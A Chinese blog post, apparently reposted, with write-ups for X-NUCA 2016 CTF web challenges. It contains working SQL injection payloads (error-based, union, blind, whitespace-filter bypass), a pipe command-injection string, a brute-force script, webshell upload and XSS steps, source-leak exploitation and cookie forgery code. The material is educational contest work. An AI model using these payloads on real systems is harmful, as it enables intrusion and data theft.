未加星标

X-NUCA Web练习题

字体大小 | |
[开发(php) 所属分类 开发(php) | 发布者 店小二03 | 时间 2016 | 作者 红领巾 ] 0人收藏点击收藏

2016.07.24 15:22:00

X-NUCA Web练习题

Security

CTF-Web


X-NUCA Web练习题

本博客的所有源码均已共享,并遵守 CC 3.0 协议 ,你可以从我的 github库 得到所有源码.若你打算采用本博客的源码,请务必请求我的许可 。

Follow Xiaoxi Mo at

X-NUCA Web 1. Web4 <php show_source(__FILE__); $v1=0;$v2=0;$v3=0; $a=(array)json_decode(@$_GET['foo']); var_dump($a); if(is_array($a)){ echo 1; is_numeric(@$a["bar1"])?die("nope"):NULL; if(@$a["bar1"]){ ($a["bar1"]>2016)?$v1=1:NULL; } if(is_array(@$a["bar2"])){ if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope"); $pos = array_search("nudt", $a["a2"]); $pos===false?die("nope"):NULL; foreach($a["bar2"] as $key=>$val){ $val==="nudt"?die("nope"):NULL; } $v2=1; } } $c=@$_GET['cat']; $d=@$_GET['dog']; if(@$c[1]){ if(!strcmp($c[1],$d) && $c[1]!==$d){ eregi("3|1|c",$d.$c[0])?die("nope"):NULL; strpos(($c[0].$d), "htctf2016")?$v3=1:NULL; } } if($v1 && $v2 && $v3){ include "flag.php"; echo $flag; } ?> 本地测试程序: <?php show_source(__FILE__); $arr = array ( "bar1"=>"2017adsad", "bar2"=>array( "0"=>array(0), "1"=>1, "2"=>2, "3"=>3, "4"=>4, ), "a2"=>"nudt", "d"=>4, "e"=>5); echo json_encode($arr); $v1=0;$v2=0;$v3=0; $a=(array)json_decode(@$_GET['foo']); var_dump($a); if(is_array($a)){ echo 'lever 1!'; is_numeric(@$a["bar1"])?die("nope"):NULL; if(@$a["bar1"]){ ($a["bar1"]>2016)?$v1=1:NULL; } if(is_array(@$a["bar2"])){ echo 'lever 2!'; var_dump($a["bar2"]); echo(count($a["bar2"])); if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope"); echo 'lever 3!'; $pos = array_search("nudt", $a["a2"]); $pos===false?die("nope"):NULL; echo 'lever 4!'; foreach($a["bar2"] as $key=>$val){ $val==="nudt"?die("nope"):NULL; } $v2=1; } } $c=@$_GET['cat']; $d=@$_GET['dog']; var_dump($c[1]); var_dump(strcmp($c[1],$d)); var_dump($c[1]!==$d); var_dump((!strcmp($c[1],$d) && $c[1]!==$d)); if(@$c[1]){ echo 'lever 5!'; if(!strcmp($c[1],$d) && $c[1]!==$d){ echo 'lever 6!'; eregi("3|1|c",$d.$c[0])?die("nope"):NULL; echo 'lever 7!'; strpos(($c[0].$d), "htctf2016")?$v3=1:NULL; } } var_dump($v1); var_dump($v2); var_dump($v3); if($v1 && $v2 && $v3){ include "flag.php"; echo $flag; } ?> payload : http://localhost:8888/sys/test.php?foo={"bar1":"2017adsad","bar2":[[0],1,2,3,4],"c":3,"d":4,"e":5}&&cat[1][]="1"&&dog=%00&&cat[0]="htctf2016" Web5

slash+3位数字

爆破一下

#!usr/bin/python # -*- coding:utf-8 -*- __Author__ = 'moxiaoxi' __Filename__ = 'brute.py' ''' 爆破 ''' import hashlib from urllib import request diction = {} l = [] url = [] for x in range(10): diction[x]=str(x) for x in range(10): for i in range(10): for j in range(10): l.append('slash'+diction[x]+diction[i]+diction[j]) for i in range(1000): md5 = hashlib.md5() md5.update(l[i].encode('utf-8')) url.append("http://218.76.35.75:20115/index.php?page="+md5.hexdigest()) print("test %d "%i) with request.urlopen(url[i]) as test: if '文件不存在' not in test.read().decode('utf-8'): print('Yep, We got it ! test:%d:'%i+url[i]) break

http://218.76.35.75:20115/index.php?page=b74d94c647115ba40b3acd8e12b4e122

Web6

Referer: http://218.76.35.75:20121/’+(updatexml(1,concat(0x3a,(select (select flag from flag))),1))+’1

Web7

上传一个PHP文件,然后用burpsuite改下类型 就可以了

Web8

把JS编译一下,查看源码就能看到

访问一下,有个cookie,就是flag

Web 9

http://218.76.35.75:20124/index.php?heetian=he=abcd

Web10

描述:alert document.domain

闭合以后,用img标签XSS

Web 11

无聊的题目

http://218.76.35.75:20126/index.php?page=/flag 得到flag位置 flag: 62a72cb2f3d5e7fc0284da9f21e66c9f.php

访问一下 就得到了 guess 573

完全不能叫做文件包含。

Web12

又一道爆破题

cookie 那边 user改成admin

guess 用burpsuite爆破一下

就出来最终结果

Web 13

http://218.76.35.75:20101/?name=guest’ union select (select flag from flag),2,3%23

Web14

上传个一句话木马图片即可

Web15

使用|绕过 127.0.0.1|ls

可以得到 3f83e03a1e4e65573ef11cca25048808 css footer.php header.php index.php

访问下http://218.76.35.75:20105/3f83e03a1e4e65573ef11cca25048808/得到flag

Web16

其实并没有看懂这题到底什么意思

if (this.scores.length &lt; this.maxscores) return 1000000 &lt; a &amp;&amp; (a = new p, a.set('urlkey', 'webqwer'[1] + '100.js', 86400000)),

js中有一个这样的代码

获取对应文件

http://218.76.35.74:65380/e100.js

可以得到一个js的混淆奇怪的代码 在console中输入 得到flag

flag{oT0yTrjU0xhjhj2YTcT8jljMWpzS9tDk}

Web 17 POST / HTTP/1.1 Host: 218.76.35.74:65280 Content-Length: 13 Cache-Control: max-age=0 Origin: http://218.76.35.74:65280 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Referer: http://www.iie.ac.cn X-Forwarded-For:10.10.20.1 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8 Connection: close password=cafe Web 18

搜下kindeditor漏洞

其实是路径泄漏

http://218.76.35.74:65180/kindeditor/php/file_manager_json.php?path=./

找到flag地址 http://218.76.35.74:65180/kindeditor/attached/flag_clue.php

得到一个倒置的base64 倒置下,解码即可

Python 2.7.11 (default, Dec 16 2015, 11:23:08) [GCC 4.2.1 Compatible Apple LLVM 7.0.0 (clang-700.1.76)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> s="=0nYvpEdhVmcnFUZu9GRlZXd7pzZhxmZ" >>> print s[::-1] ZmxhZzp7dXZlRG9uZUFncmVhdEpvYn0= >>> import base64 >>> print base64.b64decode("ZmxhZzp7dXZlRG9uZUFncmVhdEpvYn0=" ... ) flag:{uveDoneAgreatJob} >>> Web 19

一开始用githack恢复,没找到点

后来发现这题的关键是需要拿到git参数文件

就是得拿到git配置文件

用rip-git.pl 抓取文件

然后,git log 一下 可以发现有两个记录

git reset hard 570fa7812efa63a398471e48d51bf24eeaa99358(init)

再查看hack.php就找到了flag

Web 20

flask注入。。。

试探了好久,还是没找到flag

后来,队友提醒,其实是个源码泄漏

先使网页报错,报错页面有一个这样的代码:

def get_user_file(f_name): if(f_name =='473bfa63bfeb1e673d6d151a799af923.py'): with open(f_name) as f: return f.readlines()

然后,用get_user_file获取下这个文件

GET /?data=sleep\{\{get_user_file('473bfa63bfeb1e673d6d151a799af923.py')\}\} HTTP/1.1 Host: 218.76.35.75:20102 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://218.76.35.75:20102/?data=sleep Cookie: PHPSESSID=ckn46fftq7a54hue8klnjh2646 Connection: close

## Web 21 view-source:http://218.76.35.75:20106/index.php?image=index.php 看到base64编码的代码,反解一下得到index.php的源码

<?php /** * Created by PhpStorm. * User: pfven * Date: 2016/7/20 * Time: 21:35 */ include 'header.php'; if(isset($_GET["image"])){ $file = $_GET['image']; $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file); $file = str_replace("config","_", $file); $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/png;base64,".$txt."'></img>"; }else { header("Location: index.php?image=heihei.jpg"); exit(); } include 'footer.php'; //***

一直卡在这,没找到点。后来看了官方给的提示,简直了,phpstorm的源码泄漏问题

即 使用Phpstorm会自动生成一个文件夹.idea

翻一下目录http://218.76.35.75:20106/.idea/misc.xml

<component name="editorHistoryManager"> <entry file="file://$PROJECT_DIR$/function_crypt.php"> <provider selected="true" editor-type-id="text-editor"> <state relative-caret-position="412"> <caret line="54" column="20" selection-start-line="54" selection-start-column="20" selection-end-line="54" selection-end-column="20"/> <folding/> </state>

可以找到上述的代码和题干的自加密联系起来。

把function_crypt.php源码读取出来

访问http://218.76.35.75:20106/index.php?image=functionconfigcrypt.php(注意过滤)

<?php /** * Created by PhpStorm. * User: pfven * Date: 2016/7/20 * Time: 17:19 */ error_reporting(E_ALL || ~E_NOTICE); include('config.php'); function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') { $hash = ''; $max = strlen($chars) - 1; for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash; } function encrypt($txt,$key){ for($i=0;$i<strlen($txt);$i++){ $tmp .= chr(ord($txt[$i])+10); } $txt = $tmp; $rnd=random(4); $key=md5($rnd.$key); $s=0; for($i=0;$i<strlen($txt);$i++){ if($s == 32) $s = 0; $ttmp .= $txt[$i] ^ $key[++$s]; } return base64_encode($rnd.$ttmp); } function decrypt($txt,$key){ $txt=base64_decode($txt); $rnd = substr($txt,0,4); $txt = substr($txt,4); $key=md5($rnd.$key); $s=0; for($i=0;$i<strlen($txt);$i++){ if($s == 32) $s = 0; $tmp .= $txt[$i]^$key[++$s]; } for($i=0;$i<strlen($tmp);$i++){ $tmp1 .= chr(ord($tmp[$i])-10); } return $tmp1; } $username = decrypt($_COOKIE['user'],$key); if ($username == 'system'){ echo $flag; }else{ setcookie('user',encrypt('guest',$key)); echo "It's Works!"; }

官方给的解密代码

function ss($txt,$m){ for($i=0;$i<strlen($m);$i++){ $tmp .= chr(ord($m[$i])+10); } $m=$tmp; $tmp=''; $txt=base64_decode($txt); $rnd = substr($txt,0,4); $txt = substr($txt,4); for($i=0;$i<strlen($txt);$i++){ $key .= $txt[$i] ^ $m[$i]; } $s='0123456789abcdef'; $txt1='system'; for($i=0;$i<strlen($txt1);$i++){ $tmp .= chr(ord($txt1[$i])+10); } $txt1=$tmp; $tmp=''; for($i=0;$i<16;$i++){ $tmp = $key.$s[$i]; for($ii=0;$ii<strlen($txt1);$ii++){ $txt2 .= $txt1[$ii] ^ $tmp[$ii]; } file_put_contents('1.txt',base64_encode($rnd.$txt2)."\r\n",FILE_APPEND); $txt2=''; } } ss('eldUVRdOWRhI','guest'); // 设置获取的guest用户的cookie值。

这个生成了16个加密的密文,用burp加载后,跑一遍,即可得到flag 。

## Web 22

脑洞题… shell[pass]=asdfasdf&shell[_SESSION][login]=asd&shell[login]=false

参考:http://bbs.heetian.com/forum.php?mod=viewthread&tid=29

## Web 23

POST / HTTP/1.1 Host: 218.76.35.75:20108 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://218.76.35.75:20108/ Cookie: PHPSESSID=ufc8ipcufou5efg86pk3r4v2r4 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 72 username=admin'+and+(left(database(),5)='web18')+and+'1'='1&password=123

得到数据库 web18

后来,无意中看了下robots.txt 可以看到一个哈希文件夹 乱七八糟的脑洞题…里面有个upload.php 文件泄漏了index.php的源码

if ((isset($_POST['username'])&&isset($_POST['password']))) { try { $user=trim(str_replace(" ","",$_POST['username'])); $user=str_replace("*","",$user); $user=str_replace(";","",$user); $user=str_replace("#","",$user); $user=str_replace("\r","",$user); $user=str_replace("\n","",$user); $user=str_replace(urldecode("%09"),"",$user); $user=str_replace(urldecode("%0b"),"",$user); $user=str_replace(urldecode("%0c"),"",$user); $user=str_replace(urldecode("%0d"),"",$user); $pwd=md5($_POST['password']); $query="SELECT password FROM admin WHERE username='".$user."'"; $result=$pdo->query($query); if ($result!=null&&$result->rowCount()!==0) { while($row = $result->fetch()) { if ($row['password']===$pwd) echo $flag; else { echo '<div class="alert alert-error"> <a class="close" data-dismiss="alert">×</a><strong>密码错误</strong></div>'; } } }

username=admind’%a0union%a0select%a0’4124bc0a9335c27f086f24ba207a4912’%a0from%a0admin%a0where%a0’1’=’1&password=aa

## Web 24

脑残出题人 题目改来改去

一开始没有登录界面。。。

访问下http://218.76.35.75:20116/flagishere/ 有个登录框

万能密码绕过

有waf,但是没过滤’和|| 用户名 admin 密码’||’1’=’1 Your Flag:flag{s0 e4sy_sq1i :)}

## Web 25

1、.index.php.swp源码泄露

2、注入点id是被is_numeric过滤后,插入到vote表里的,可以用十六进制或者二进制绕过is_numeric,把注入查询语句插入到vote表里,然后又从vote表里取出,形成二次注入

3、猜解t_flag表,使用GROUP_CONCAT(flag)取flag

参考: 比赛题目:http://www.hetianlab.com/pages/activity/X-NUCANationalTL.jsp

觉得博文很赞?来打赏一下我吧!――送小西一本书,让他写出更棒的作品!:heart_eyes:

本文开发(php)相关术语:php代码审计工具 php开发工程师 移动开发者大会 移动互联网开发 web开发工程师 软件开发流程 软件开发工程师

主题: PHPAppleUCChromeHTML其实UFUVFirefox数据
tags: gt,amp,php,lt,flag,txt,user,http,echo,Web
分页:12
转载请注明
本文标题:X-NUCA Web练习题
本站链接:https://www.codesec.net/view/489193.html


1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
技术大类 技术大类 | 开发(php) | 评论(0) | 阅读(1148)